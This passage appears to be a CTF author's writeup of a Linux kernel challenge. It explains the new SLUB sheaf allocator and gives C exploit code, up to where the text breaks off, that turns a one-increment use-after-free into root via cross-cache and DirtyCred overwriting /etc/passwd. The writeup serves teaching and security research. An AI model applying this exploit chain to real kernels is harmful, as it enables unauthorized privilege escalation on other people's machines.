writeup 2026/lake/stardew-valley

P.Howe and I wrote stardew-valley for LakeCTF finals 2025-2026.

For my general feelings on the competition, see LakeCTF retrospective . For the writeup of my other challenge see 2026/lake/gun .

Authoring the challenge

I’ve done a few kernel challs but felt like I didn’t have a satisfactory understanding of the allocator, so I decided to sit down one day and go through the SLUB source with P.Howe, the result being this flowchart. After a bit we realized that the allocator was being revamped, so we decided to figure out what was going on there as well since we were on a roll.

Looking at the code we got a general outlook on how the sheaves worked, though did not fully investigate all the details and code-paths. One thing that stood out to us was this:

static struct slab_sheaf *__alloc_empty_sheaf(struct kmem_cache *s, gfp_t gfp,
					      unsigned int capacity) {
	struct slab_sheaf *sheaf;
	size_t sheaf_size;

	if (gfp & __GFP_NO_OBJ_EXT)
		return NULL;

	gfp &= ~OBJCGS_CLEAR_MASK;

	/*
	 * Prevent recursion to the same cache, or a deep stack of kmallocs of
	 * varying sizes (sheaf capacity might differ for each kmalloc size
	 * bucket)
	 */
	if (s->flags & SLAB_KMALLOC)
		gfp |= __GFP_NO_OBJ_EXT;

	sheaf_size = struct_size(sheaf, objects, capacity);
	// what?
	sheaf = kzalloc(sheaf_size, gfp); // <---------------

	if (unlikely(!sheaf))
		return NULL;

	sheaf->cache = s;

	stat(s, SHEAF_ALLOC);

	return sheaf;
}

You can reach __alloc_empty_sheaf through the normal kmalloc() and kfree() calls. First of all it’s kinda interesting that you can essentially invoke kmalloc() recursively. In and of itself this would not be bad, it happens in musl too, the real sauce is in the fact that struct slab_sheaf lives on the normal heap, unsegregated from other allocations. Musl at least solves this by allocating a completely seperate region of the heap for its metadata.

The struct slab_sheaf structure looks like this:

struct slab_sheaf {
	union {
		struct rcu_head rcu_head;
		struct list_head barn_list;
		/* only used for prefilled sheafs */
		struct {
			unsigned int capacity;
			bool pfmemalloc;
		};
	};
	struct kmem_cache *cache;
	unsigned int size;
	int node; /* only used for rcu_sheaf */
	void *objects[];
};

We decided to make a challenge which somehow involves the sheaves. P.Howe came up with the main idea of bit-flipping the size field of a slab_sheaf in order to cause a Use-After-Free situation, while I developed the exploit (with the help of P.Howe and skuuk too). It took about 24h of work (excluding the initial time studying the sheaf code).

It was clear to us that if we just gave the challenge as-is, it is unlikely that anyone would figure out they’re supposed to use the sheafs. And although we were happy to get alternate solves, it is good to at least hint the players towards a path you know is valid. So, we tried really hard to hint towards the farming theme (note that a “sheaf” is a bundle of wheat). We had:

• The name of the challenge be a farming game (stardew-valley)
• The source of the vulnerable kernel module be farming flavoured
• Intentionally disclosed in the handout that we’re on a very new kernel version, hoping one would ask themselves why that is
• The splash art of the challenge have lain holding a sheaf
• The description of the challenge literarly say lain is a bit tired from being god, and has decided to take up farming. it seems there is some wheat stuck in her allocator though, can you help her get it out? – really hoped that would make it unambiguous that you’re supposed to look at the wheat related allocator changes.

Alas, noone realized this.

Challenge Writeup

Setup

If it wasn’t clear already, stardew-valley is a kernel challenge with a vulnerable kernel module. You can get the source and handout and play it from the lakectf repo.

Before we get further into it I’d like to mention that none of the pwn challenges (gun, NaviVM, stardew-valley) contained any reversing. The handouts for all of them were very honest, and I’m very happy that they were. In particular for stardew-valley we even gave the full kernel build instructions:

v7.0-rc3

REPOSITORY_URL=https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
TAG=v7.0-rc3
COMMIT_HASH=1f318b96cc84d7c2ab792fcc0bfd42a7ca890681

```bash
HERE=$PWD

cd ~/opt/linux
git checkout v7.0-rc3

make mrproper
wget https://storage.googleapis.com/kernelctf-build/releases/lts-6.12.74/.config -O .config

./scripts/config --set-val CONFIG_DEBUG_INFO y
./scripts/config --set-val CONFIG_DEBUG_INFO_DWARF5 y
./scripts/config --set-val CONFIG_GDB_SCRIPTS y
./scripts/config --set-val CONFIG_DEBUG_KERNEL y
./scripts/config --set-val CONFIG_FRAME_POINTER y

make olddefconfig
cp .config $HERE/kconfig

make -j $(nproc) HOSTCC=gcc-11 CC=gcc-11 KCFLAGS="-Wno-error"
./scripts/clang-tools/gen_compile_commands.py

cd $HERE

cp ~/opt/linux/arch/x86/boot/bzImage .
cp ~/opt/linux/vmlinux .
```

The vulnerable kernel module is very short (cutting out the boilerplate):

struct furrow {
  uint64_t bed1;
  uint64_t bed2;
  uint64_t bed3;
  uint64_t bed4;
};

int stage = 0;
struct furrow* furrow_obj;

static long furrow_ioctl(struct file* file, unsigned int cmd,
                             unsigned long arg) {
  if (stage == 0) {
    stage += 1;
    // till the dirt
    furrow_obj = (struct furrow*)kmalloc(0x100, GFP_KERNEL);
    memset((void*)furrow_obj, 'T', 0x100);
  } else if (stage == 1) {
    stage += 1;
    // oh noes a storm!
    kfree(furrow_obj);
  } else if (stage == 2) {
    // this one was under cover, needs watering still :3
    furrow_obj->bed4 += 1;
  } else {
    return -EINVAL;
  }
  return 0;
}

Clearly the bug gives us a very limited Use-After-Free on the the kernel module furrow_obj which is in kmalloc-256.

Now, I kinda messed up the implementation of these 20 lines of code, and forgot to put a stage += 1 in the stage == 2 branch. This allowed players to increase the value of the 4th qword of the struct an arbitrary number of times, even though the intended was to only increase it once. Funnily enough, this allowed the players to come up with a cool alternate solution. For this writeup, lets use the power imagination and assume that we can only run the furrow_obj->bed4 += 1; once.

What kind of object do we want?

Alright so, when you read the source of this kernel module the first question on your mind should be what to overlap the kernel module UAF object with - what primitive can I get with a += 1. Some ideas you could come up with are:

1. += 1 a refcount to wrap back to zero
2. += 1 a pointer to get a restricted OOB read/write and pivot further
3. += 1 a length field to get a restricted out-of-bounds access
4. += 1ing something which directly has privilege-level consequences

Number one doesn’t work due to refcount saturation, but could work if you’re using the += 1’s multiple times (which we’re not here). Both two and three may be viable, but you need to think about what you’ll do after you have the OOB.

Moving a pointer by one byte is a pretty bad primitive in this case as it may allow you to overwrite the LSB of the first field of some object (in some specific cache), but what then? It would certainly require coming up with a couple of unknown objects and the stars aligning just right™ for this to work. Does not seem impossible, but not really for an 8 hour CTF.

Increasing a length field by one byte can be better, because the array that the length field is talking about maybe be an array of some structs. And those structs will likely be more than one byte in size. In other words, by overwriting a length field you can likely get more bytes in total of overwrite, but the values you’re able to write may be more restricted. In any case, similarly to above, it would require multiple primitive pivots to work.

The fourth option sounds nice, but can you come up with an object that works for that? Can you do something fun with struct cred->fsuid?

The beauty of slab_sheaf, as we will come to see, is that it directly gives us a semi-arbitrary UAF. No further primitive pivoting needed. And if you can get UAF on an object of your choosing, in kernel exploitation, that is GG.

What is a slab_sheaf anyway?

Out of the structs introduced by the sheaves, struct slab_sheaf is most clearly controllable by our allocations (via __alloc_empty_sheaf) (more on this later). Very importantly, its 4th qword is the unsigned int size; field. The size field denotes how long the Variable-Length-Array (VLA) of void *objects[]; is.

When you do a kmalloc() in the new kernel code, the code-path that you will most often take is as follows. Classic kmalloc:

#define kmalloc(size, flags)	alloc_hooks(kmalloc_noprof(size, flags))

#define kmalloc_noprof(...)		_kmalloc_noprof(__VA_ARGS__, __kmalloc_token(__VA_ARGS__))

static void *_kmalloc_noprof(size_t size, gfp_t flags, kmalloc_token_t token) {
	// ...
		return __kmalloc_cache_noprof(
				kmalloc_caches[kmalloc_type(flags, token)][index],
				flags, size);
	// ...
}

void *__kmalloc_cache_noprof(struct kmem_cache *s, gfp_t gfpflags, size_t size) {
	// ...
	ret = slab_alloc_node(s, gfpflags, NUMA_NO_NODE, &ac);
	// ...
}

Until we get to slab_alloc_node:

/*
 * Inlined fastpath so that allocation functions (kmalloc, kmem_cache_alloc)
 * have the fastpath folded into their functions. So no function call
 * overhead for requests that can be satisfied on the fastpath.
 *
 * The fastpath works by first checking if the lockless freelist can be used.
 * If not then __slab_alloc is called for slow processing.
 *
 * Otherwise we can simply pick the next object from the lockless free list.
 */
static __fastpath_inline void *slab_alloc_node(struct kmem_cache *s,
		gfp_t gfpflags, int node, const struct slab_alloc_context *ac) {
	// ...

	// THE (new) (sheaf) FASTPATH
	object = alloc_from_pcs(s, gfpflags, ac->alloc_flags, node);

	if (unlikely(!object))
		// THE SLOWPATH
		// Allocate from node partial lists (locked freelist unlink)
		// Will potentially need to pull a new slab from buddy into the node partial list
		object = __slab_alloc_node(s, gfpflags, node, ac);

	// ...
	return object;
}

Note that the pcs in alloc_from_pcs stands for per-cpu sheaves. If everything goes “normally”, you will take this codepath:

void *alloc_from_pcs(struct kmem_cache *s, gfp_t gfp, unsigned int alloc_flags, int node) {
	struct slub_percpu_sheaves *pcs;
	bool node_requested;
	void *object;

	// ...

	pcs = this_cpu_ptr(s->cpu_sheaves);

	if (unlikely(pcs->main->size == 0)) {
		pcs = __pcs_replace_empty_main(s, pcs, gfp, alloc_flags);
		if (unlikely(!pcs))
			return NULL;
	}

	object = pcs->main->objects[pcs->main->size - 1];

	// ...

	pcs->main->size--;

	local_unlock(&s->cpu_sheaves->lock);

	stat(s, ALLOC_FASTPATH);

	return object;
}

So the struct kmem_cache has its struct slub_percpu_sheaves __percpu *cpu_sheaves; which looks like:

struct slub_percpu_sheaves {
	local_trylock_t lock;
	struct slab_sheaf *main; /* never NULL when unlocked */
	struct slab_sheaf *spare; /* empty or full, may be NULL */
	struct slab_sheaf *rcu_free; /* for batching kfree_rcu() */
};

And main is a struct slab_sheaf. Now we can clearly see that pcs->main->objects is an array of pointers, where the first pcs->main->size pointers are pointers into a free slab slot, ready to be taken. The pointers after the pcs->main->size slots are allocated objects. Here is struct slab_sheaf again as a reminder:

struct slab_sheaf {
	union {
		struct rcu_head rcu_head;
		struct list_head barn_list;
		/* only used for prefilled sheafs */
		struct {
			unsigned int capacity;
			bool pfmemalloc;
		};
	};
	struct kmem_cache *cache;
	unsigned int size;
	int node; /* only used for rcu_sheaf */
	void *objects[];
};

Thus, here is the high-level overview of our exploit. We will:

1. Allocate a furrow_obj (it will go into kmalloc-256) and free it using the kernel module
2. Allocate a struct slab_sheaf into kmalloc-256 (we will see later how), overlapping it with the furrow_obj
3. This slab_sheaf will be the main per-cpu sheaf for some other kmem_cache kmalloc-???
4. We will allocate from kmalloc-??? , causing a pcs->main->size--
5. We will use the += 1 bug to effectively do pcs->main->size++, causing a UAF on the object allocated in (4)
6. We will allocate from kmalloc-??? again, causing another pcs->main->size--, getting the same object as in (4)

This will give us two pointers to the same kmalloc-??? object. We can use any exploitation-useful object that is in kmalloc-??? and proceed with UAF kernel exploitation as normal.

How does a slab_sheaf get allocated?

Now we have two important questions to answer:

1. How do I cause the allocation of a kmalloc-256 slab_sheaf precisely
2. Which kmem_cache will that slab_sheaf manage (i.e. what is the ??? in kmalloc-???)

Lets look at the slab_sheaf allocation code which starts with the if-check we already saw:

	if (unlikely(pcs->main->size == 0)) {
		pcs = __pcs_replace_empty_main(s, pcs, gfp, alloc_flags);
		if (unlikely(!pcs))
			return NULL;
	}

In __pcs_replace_empty_main we have (simplified):

// included here
struct node_barn {
	spinlock_t lock;
	struct list_head sheaves_full;
	struct list_head sheaves_empty;
	unsigned int nr_full;
	unsigned int nr_empty;
};

/*
 * Replace the empty main sheaf with a (at least partially) full sheaf.
 *
 * Must be called with the cpu_sheaves local lock locked. If successful, returns
 * the pcs pointer and the local lock locked (possibly on a different cpu than
 * initially called). If not successful, returns NULL and the local lock
 * unlocked.
 */
static struct slub_percpu_sheaves *
__pcs_replace_empty_main(struct kmem_cache *s, struct slub_percpu_sheaves *pcs,
			 gfp_t gfp, unsigned int alloc_flags)
{
	if (pcs->spare && pcs->spare->size > 0) {
		swap(pcs->main, pcs->spare);
		return pcs;
	}

	barn = get_barn(s);

	full = barn_replace_empty_sheaf(barn, pcs->main, allow_spin);

	if (full) {
		stat(s, BARN_GET);
		pcs->main = full;
		return pcs;
	}

	if (allow_spin) { //! usually allow_spin = true
		if (pcs->spare) {
			empty = pcs->spare;
			pcs->spare = NULL;
		} else {
			empty = barn_get_empty_sheaf(barn, true);
		}
	}

	if (!empty) {
		empty = alloc_empty_sheaf(s, gfp, alloc_flags);
		if (!empty)
			return NULL;
	}

	if (refill_sheaf(s, empty, gfp | __GFP_NOMEMALLOC | __GFP_NOWARN)) {
		/*
		 * we must be very low on memory so don't bother
		 * with the barn
		 */
		// [cleanup]
		return NULL;
	}

	full = empty;
	empty = NULL;

	pcs = this_cpu_ptr(s->cpu_sheaves);

	/*
	 * If we put any empty or full sheaf to the barn below, it's due to
	 * racing or being migrated to a different cpu. Breaching the barn's
	 * sheaf limits should be thus rare enough so just ignore them to
	 * simplify the recovery.
	 */

	if (pcs->main->size == 0) {
		if (!pcs->spare)
			pcs->spare = pcs->main;
		else
			barn_put_empty_sheaf(barn, pcs->main);
		pcs->main = full;
		return pcs;
	}

	if (!pcs->spare) {
		pcs->spare = full;
		return pcs;
	}

	if (pcs->spare->size == 0) {
		barn_put_empty_sheaf(barn, pcs->spare);
		pcs->spare = full;
		return pcs;
	}

barn_put:
	barn_put_full_sheaf(barn, full);
	stat(s, BARN_PUT);

	return pcs;
}

The function which actually allocates a sheaf is alloc_empty_sheaf(), but as we can see in the code, it is actually quite hard to reach if both pcs->main and pcs->spare are non-NULL…

Reading on, alloc_empty_sheaf() calls __alloc_empty_sheaf():

static inline struct slab_sheaf *alloc_empty_sheaf(struct kmem_cache *s,
				gfp_t gfp, unsigned int alloc_flags) {
	if (alloc_flags & SLAB_ALLOC_NO_RECURSE)
		return NULL;

	gfp &= ~OBJCGS_CLEAR_MASK;

	return __alloc_empty_sheaf(s, gfp, alloc_flags, s->sheaf_capacity);
}

static struct slab_sheaf *__alloc_empty_sheaf(struct kmem_cache *s, gfp_t gfp,
				unsigned int alloc_flags, unsigned int capacity)
{
	struct slab_sheaf *sheaf;
	size_t sheaf_size;

	/*
	 * Prevent recursion to the same cache, or a deep stack of kmallocs of
	 * varying sizes (sheaf capacity might differ for each kmalloc size
	 * bucket)
	 */
	if (s->flags & SLAB_KMALLOC)
		alloc_flags |= SLAB_ALLOC_NO_RECURSE;

	//! SIZE CALCULATION
	sheaf_size = struct_size(sheaf, objects, capacity);
	//! SHEAF ALLOCATION
	sheaf = kmalloc_flags(sheaf_size, gfp | __GFP_ZERO, alloc_flags, NUMA_NO_NODE);

	if (unlikely(!sheaf))
		return NULL;

	sheaf->cache = s;

	stat(s, SHEAF_ALLOC);

	return sheaf;
}

Where struct_size(sheaf) resolves to sizeof(struct slab_sheaf) + capacity * sizeof(void*). This sheaf then gets set to (struct kmem_cache)->cpu_sheaves->main in the callee (__pcs_replace_empty_main) and used on the next object allocation.

The size calculation

The obvious question arises from looking at alloc_empty_sheaf: “How does s->sheaf_capacity get set?”

Naturally, it gets set when the kmem_cache gets created, and is constant throughout its lifetime. In particular we observe kmem_cache_create() -> __kmem_cache_create_args() -> create_cache() -> do_kmem_cache_create() where we see:

	s = kmem_cache_zalloc(kmem_cache, GFP_KERNEL);
	if (!s)
		goto out;
	err = do_kmem_cache_create(s, name, object_size, args, flags);

Where struct kmem_cache *kmem_cache; is a global variable in mm/slab_common.c , see also mm/slab.h :

/* The slab cache that manages slab cache information */
extern struct kmem_cache *kmem_cache;

It seems they had the (genuinely good) idea to allocate kmem_cache’s themselves into a seperate cache (confusingly called “kmem_cache”), but decided to put the slab_sheafs into the generic ones…

Anyway, in do_kmem_cache_create() -> calculate_sizes() we have:

	/*
	 * For kmalloc caches we enable sheaves later by
	 * bootstrap_kmalloc_sheaves() to avoid recursion.
	 */
	if (!is_kmalloc_cache(s))
		s->sheaf_capacity = calculate_sheaf_capacity(s, args);

so we go to bootstrap_kmalloc_sheaves() -> bootstrap_cache_sheaves() and find (simplified):

	capacity = calculate_sheaf_capacity(s, &empty_args);
	s->sheaf_capacity = capacity;

So we look at the saucer itself:

static unsigned int calculate_sheaf_capacity(struct kmem_cache *s,
					     struct kmem_cache_args *args) {
	unsigned int capacity;
	size_t size;

	// ...

	/*
	 * For now we use roughly similar formula (divided by two as there are
	 * two percpu sheaves) as what was used for percpu partial slabs, which
	 * should result in similar lock contention (barn or list_lock)
	 */
	if (s->size >= PAGE_SIZE)
		capacity = 4;
	else if (s->size >= 1024)
		capacity = 12;
	else if (s->size >= 256)
		capacity = 26;
	else
		capacity = 60;

	/* Increment capacity to make sheaf exactly a kmalloc size bucket */
	size = struct_size_t(struct slab_sheaf, objects, capacity);
	size = kmalloc_size_roundup(size);
	capacity = (size - struct_size_t(struct slab_sheaf, objects, 0)) / sizeof(void *);

	/*
	 * Respect an explicit request for capacity that's typically motivated by
	 * expected maximum size of kmem_cache_prefill_sheaf() to not end up
	 * using low-performance oversize sheaves
	 */
	return max(capacity, args->sheaf_capacity);
}

Since sizeof(struct slab_sheaf) = 32 ¹ to land in kmalloc-256 the capacity must be at most (256 - 32) // 8 = 28. In other words, we need to take the if (s->size >= 256) branch which means s->size must be in [256, 1024). Note that size is:

struct kmem_cache {
// ...
	unsigned int size;		/* Object size including metadata */
// ...
}

Ultimately, to allocate a struct slab_sheaf that goes into kmalloc-256, we need to perform allocations in either kmalloc-256 ² or kmalloc-512 (or the -cg- variants etc.).

The allocation trigger

At this point instead of diving deeper into the source, I decided to just experiment with allocations while breaking on the __alloc_empty_sheaf() function inside of a debugger, to see when a sheaf allocation is triggered.

To peform the object spray experiment, I used struct msg_msg ³. Because of the CONFIG_SLAB_BUCKETS compilation flag ⁴, msg_msg goes into the msg_msg-256 cache.

Thinking about our exploit, if we were to spray struct slab_sheafs onto our furrow_obj, that would make our life significantly harder in the future, as we would have to figure out which of the slab_sheaf’s we sprayed is overlayed with our furrow_obj, and how to get it to be the active one. Furthemore it’s an open question whether we even can spray them.

Instead, we would like to control our allocations precisely, and have a setup where we can do:

1. Allocate furrow_obj
2. Some setup?
3. Free furrow_obj
4. Allocate 1 msg_msg
   • This allocation causes the allocation of a slab_sheaf
   • This slab_sheaf overlaps our furrow_obj
5. Proceed with the exploit…

The crucial point to realize here is that because of CONFIG_SLAB_BUCKETS, we have access to the msg_msg-256 cache, and this cache is not used by the kernel during boot. If we look at the debugger before running our exploit:

pwndbg> slab list
Name                             # Objects    Size    Obj Size    # inuse    order
-----------------------------  -----------  ------  ----------  ---------  -------
// ...
msg_msg-256                             16     256         256          0        0
// ...

There are 0 in use msg_msg-256 objects. This means that this cache is not fully initialized, and we can cause a slab_sheaf allocation by allocating the first 256-byte sized msg_msg. We can verify this dynamically:

(in qemu)

ctf@lakectf:~$ /ex
[I] Increased file descriptor limit from 1024 to 4096 (the hard limit)
Opened!
allocated furrow_obj.
sending msg_msg index 0

(in the debugger)

pwndbg> b __alloc_empty_sheaf
Breakpoint 1 at 0xffffffff816c2e10: file mm/slub.c, line 2753.
pwndbg> c
Continuing.

Breakpoint 1, __alloc_empty_sheaf (s=s@entry=0xffff888006521500, gfp=gfp@entry=0xcc0, capacity=0x1c) at mm/slub.c:2753

So, perfect for our use-case! We just need to allocate one object in msg_msg-256 and we cause a struct slab_sheaf to be allocated in kmalloc-256.

Now just exploit the kernel

So okay, at this point using the plan we outlined, we can get a UAF on a msg_msg. Now we just need to draw the rest of the owl.

I scratched my had at this for quite some time, but couldn’t really figure out a way to get privilege escalation from here in any not completely convoluted way. There are lots of ways in which corrupting an msg_msg crashes you! If you can think of a way to do the exploit from here, let me know! I’d like to un-skill-issue myself :)

Anyway, in the end, I decided to completely switch track and move away from msg_msg and try a different object. In particular: struct sk_buff ! The actual thing you are spraying when using it is (struct sk_buff)->head, which is a variable-length memory region which is completely attacker controlled (no tricky struct fields to mess you up).

The allocation trigger, again

The (struct sk_buff)->head buffer is in kmalloc-cg-*, and in our particular case we will choose kmalloc-cg-512.

If we look at slab list at the beginning of our exploit:

pwndbg> slab list
Name                             # Objects    Size    Obj Size    # inuse    order
-----------------------------  -----------  ------  ----------  ---------  -------
kmalloc-cg-512                           8     512         512          0        0

Looks good! Running a loop like this:

  for (int i = 0; i < 200; ++i) {
    for (int j = 0; j < 128; ++j) {
      printf("one alloc %d %d\n", i, j);
      if (write(sockpairs[i][0], skbuff_buf, sizeof(skbuff_buf)) < 0) {
        perror("socket spray write");
        return -1;
      }
    }
  }

while breaking on __alloc_empty_sheaf() in the debugger we get:

$ /ex
one alloc 0 0
...
one alloc 199 124
one alloc 199 125
one alloc 199 126
one alloc 199 127
$ 

pwndbg> c
Continuing.

Wait what? Where is my slab_sheaf D: ??

The case of the missing sheaf

Why isn’t a struct slab_sheaf allocated on the first skb_buff->head allocation? The most natural answer is “because something else gets allocated and freed in kmalloc-cg-512 during boot [and the sheaf remains]”.

How do we test this theory though? Ideally we want to break on a kmalloc call where the kmalloc-cg-512 cache is used. We can do this with a conditional breakpoint:

pwndbg> b slab_alloc_node if strcmp(s->name, "kmalloc-cg-512") == 0
Breakpoint 1 at 0xffffffff816c2951: slab_alloc_node. (9 locations)

But, well:

pwndbg> c
Continuing.
❌️ Error in testing condition for breakpoint 1.3:
evaluation of this expression requires the program to have a function "malloc".

So, we do it the scuffed way (let me know if there is a better one):

pwndbg> b slab_alloc_node if s->name[8] == 'c' && s->name[11] == '5'

And indeed, we get:

pwndbg> c
Continuing.

Breakpoint 3.7, slab_alloc_node (orig_size=0x138, addr=0xffffffff81803a6f, node=0xffffffff, 
    gfpflags=0x400dc0, lru=0x0, s=0xffff888005c4b100) at mm/slub.c:4847
4847		if (unlikely(!s))

Coming from __register_sysctl_table, if we continue for a bit more, we can see:

Okay! Theory confirmed!

If we let the kernel fully boot, we can see the sheaf exists and has some size:

Note how I use __per_cpu_offset[0] there? It’s a useful trick! Also don’t forget the (char*) :7 .

Why does it have size 0xd even though zero kmalloc-cg-512 objects are in use? Not really sure!

Free me from this mess

Playing around with the sk_buff’s a bit while having a breakpoint on __alloc_empty_sheaf(), we realize that we hit a breakpoint with this code:

// allocate 1280 SKBs
for (int i = 5; i < 15; ++i) {
  for (int j = 0; j < 128; ++j) {
    if (write(sockpairs[i][0], skbuff_buf, sizeof(skbuff_buf)) < 0) {
      perror("socket spray write");
      return -1;
    }
  }
}

// free 128 SKBs
for (uint64_t i = 0; i < 128; ++i) {
  printf("doing free %lu\n", i);
  if (read(sockpairs[5][1], skbuff_buf, sizeof(skbuff_buf)) < 0) {
    perror("socket free read");
    return -1;
  }
}

Looking at the backtrace, we take this codepath from kfree()

void kfree(const void *object) {
	// ...
	slab_free(s, slab, x, _RET_IP_);
}

void slab_free(struct kmem_cache *s, struct slab *slab, void *object,
	       unsigned long addr) {
	// ...
	if (likely(!IS_ENABLED(CONFIG_NUMA) || slab_nid(slab) == numa_mem_id())
	    && likely(!slab_test_pfmemalloc(slab))) {

		// WE GO INTO free_to_pcs() HERE!
		if (likely(free_to_pcs(s, object, true)))
			return;
	}
	// ...
}

static __fastpath_inline
bool free_to_pcs(struct kmem_cache *s, void *object, bool allow_spin) {
	// ...
	if (unlikely(pcs->main->size == s->sheaf_capacity)) {
		// The main sheaf does not have any more slots to get
		// WE GO INTO \/
		pcs = __pcs_replace_full_main(s, pcs, allow_spin);
		if (unlikely(!pcs))
			return false;
	}

	pcs->main->objects[pcs->main->size++] = object;
	// ...
	return true;
}

Now __pcs_replace_full_main() is quite a chonky function, but the TLDR is that it ends up calling into alloc_empty_sheaf() in our case:

/*
 * Replace the full main sheaf with a (at least partially) empty sheaf.
 */
static struct slub_percpu_sheaves *
__pcs_replace_full_main(struct kmem_cache *s, struct slub_percpu_sheaves *pcs,
			bool allow_spin) {
	// ...
	/*
	 * We could not replace full sheaf because barn had no empty
	 * sheaves. We can still allocate it and put the full sheaf in
	 * __pcs_install_empty_sheaf(), but if we fail to allocate it,
	 * make sure to count the fail.
	 */
	put_fail = true;

alloc_empty:
	local_unlock(&s->cpu_sheaves->lock);

	if (!allow_spin)
		return NULL;

	empty = alloc_empty_sheaf(s, GFP_NOWAIT);
	if (empty)
		goto got_empty;
	// ...
}

This happens very consistently because kmalloc-cg-512 is not a very noisy cache, so its sheaf has the same size every time we start our exploit. When we allocate our sk_buff’s, the main and spare sheaf keep getting drained and then filled by slots from the slabs in the node partial list.

But when we free our sk_buff’s, the kernel fills up the sheaf (i.e. the sheaf now has many “allocatable” objects, i.e. main->size == s->sheaf_capacity). When the kernel tries to service another deallocation, but cannot do it directly with the current sheaf because it reached its capacity, it puts the sheaf in the barn (so it can service future allocations quickly) and allocates a new sheaf.

Here the fact that we only have one CPU core (-smp 1 in QEMU invocation) comes into play. If this was not the case, the sheaf state would be much more inconsistent because the kmalloc-cg-512 allocations that happen during boot get serviced by different cores.

The rest of the owl

With a UAF on an sk_buff->head, we can finish off the exploit with DirtyCred ⁵. This means that we cross-cache to achieve UAF on file objects. We open a lot of file descriptors which point to a writeable file, UAF one of them, mmap it, reallocate it with a read-only /etc/passwd, and write "root::0:0:root:/root:/bin/sh\n" allowing us to log in as root without a password.

If you want to read more about this technique, see https://chovid99.github.io/posts/hitcon-ctf-2023/ .

Going through the exploit code

Let’s go through the actual exploit line-by-line and see how it works in full force. First of all, we define all the helper funcions:

#define MOD_PROC_NAME "furrow"

// definitions ommited for brevity
[[noreturn]] static void fatal(const char* msg);
static void increase_fd_limit();

int fd = 0;

int open_module() {
  fd = open("/proc/" MOD_PROC_NAME, O_RDWR);
  if (fd == -1) {
    fatal("couldn't open module.");
  }
  puts("Opened!");
  return fd;
}

int run_ioctl() {
  uint64_t awa;
  return ioctl(fd, 0, &awa);
}

int alloc_ioctl() {
  uint64_t awa;
  return ioctl(fd, 0x1337, &awa);
}

#define SKB_SHARED_INFO_SIZE 0x140

#define TARGET_SIZE 0x200
#define NUM_SOCKETS 20

char skbuff_buf[TARGET_SIZE - SKB_SHARED_INFO_SIZE];

In the main, we first set up the sockets, make a writeable file, increase the file descriptor limit, and open the module:

int main() {
	// prepare skbuff spray
	int sockpairs[NUM_SOCKETS][2];
	for (int i = 0; i < NUM_SOCKETS; ++i) {
	  if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockpairs[i]) < 0) {
	    perror("socketpair init");
	    return 1;
	  }
	}

	// prep for dirtycred
	system("echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' > /tmp/a");
	increase_fd_limit();

	open_module();

Then we perform the reclaim of the slab_sheaf:

	// allocate furrow_obj in the kernel module
	if (run_ioctl() != 0) {
	  perror("ioctl");
	}

	const uint64_t free_amount = 36;
	const uint64_t alloc_amount = 0x500;

	memset(skbuff_buf, 'A', sizeof(skbuff_buf));

	// Allocate 0x500 sk_buff->head's into kmalloc-cg-512
	// (15 - 5) * 128 = 0x500
	for (int i = 5; i < 15; ++i) {
	  for (int j = 0; j < 128; ++j) {
	    if (write(sockpairs[i][0], skbuff_buf, sizeof(skbuff_buf)) < 0) {
	      perror("socket spray write");
	      return -1;
	    }
	  }
	}

	// Free 36 of them. The next sk_buff->head free will cause a slab_sheaf
	// allocation (number figured out experimentally).
	for (uint64_t i = 1; i < free_amount; ++i) {
	  if (read(sockpairs[5][1], skbuff_buf, sizeof(skbuff_buf)) < 0) {
	    perror("socket free read");
	    return -1;
	  }
	}

	// Free furrow_obj
	if (run_ioctl() != 0) {
	  perror("ioctl");
	}

	// Free one more sk_buff->head, causing a slab_sheaf allocation
	if (read(sockpairs[5][1], skbuff_buf, sizeof(skbuff_buf)) < 0) {
	  perror("socket free read");
	  return -1;
	}

	// furrow_obj and a slab_sheaf are now overlapped!

We do a little bit of book-keeping:

	// The slab_sheaf now has exactly one slot (the sk_buff->head we freed just
	// above). We plan to do an allocation, size bump, and another allocation.
	// The first allocation would make the slab_sheaf have no slots and can trigger
	// allocator code that messes us up, so we free another sk_buff->head here, to
	// make the slab_sheaf have 2 slots, and not be empty after our next
	// allocation.
	if (read(sockpairs[10][1], skbuff_buf, sizeof(skbuff_buf)) < 0) {
	  perror("socket free read");
	  return -1;
	}

And finally we trigger the bump and get UAF on an sk_buff->head:

	// Allocate an sk_buff->head from the sheaf
	// Causes a pcs->main->size--
	memset(skbuff_buf, 'B', sizeof(skbuff_buf))
	if (write(sockpairs[0][0], skbuff_buf, sizeof(skbuff_buf)) < 0) {
	  perror("socket spray write");
	  return -1;
	}

	// Do the `+= 1` in the kernel module.
	// Effectively does `pcs->main->size++` and causes a UAF on the above object
	if (run_ioctl() != 0) {
	  perror("ioctl");
	}

	// Allocate sk_buff->head from the sheaf again.
	// Now we have two pointers to the same sk_buff->head object.
	memset(skbuff_buf, 'C', sizeof(skbuff_buf));
	if (write(sockpairs[1][0], skbuff_buf, sizeof(skbuff_buf)) < 0) {
	  perror("socket spray write");
	  return -1;
	}

Now we prepare for cross-cacheing:

	// Allocate some more sk_buff->head's
	memset(skbuff_buf, 'D', sizeof(skbuff_buf));
	for (int j = 0; j < 128; ++j) {
	  if (write(sockpairs[15][0], skbuff_buf, sizeof(skbuff_buf)) < 0) {
	    perror("socket spray write");
	    return -1;
	  }
	}

	// Free the double-pointed sk_buff->head from one side.
	// (We still hold a pointer from the other side)
	if (read(sockpairs[1][1], skbuff_buf, sizeof(skbuff_buf)) < 0) {
	  perror("socket spray read");
	  return -1;
	}

	// Free all the other sk_buff->head's we allocated
	for (int i = 6; i < 15; ++i) {
	  for (int j = 0; j < 128; ++j) {
	    if (i == 10 && j == 0) {
	      // used as a cleaner earlier
	      continue;
	    }
	    if (read(sockpairs[i][1], skbuff_buf, sizeof(skbuff_buf)) < 0) {
	      perror("socket spray read");
	      return -1;
	    }
	  }
	}
	for (uint64_t j = 0; j < 128 - free_amount; ++j) {
	  if (read(sockpairs[5][1], skbuff_buf, sizeof(skbuff_buf)) < 0) {
	    perror("socket spray read");
	    return -1;
	  }
	}

Now we cross-cache into file descriptors for DirtyCred:

	// Spray file's with read+write permissions
	uint64_t fd_spray_size1 = 2500;
	int spray_fds[fd_spray_size1] = {};
	for (uint64_t i = 0; i < fd_spray_size1; i++) {
	  spray_fds[i] = open("/tmp/a", O_RDWR); // /tmp/a is a writable file
	  if (spray_fds[i] == -1) {
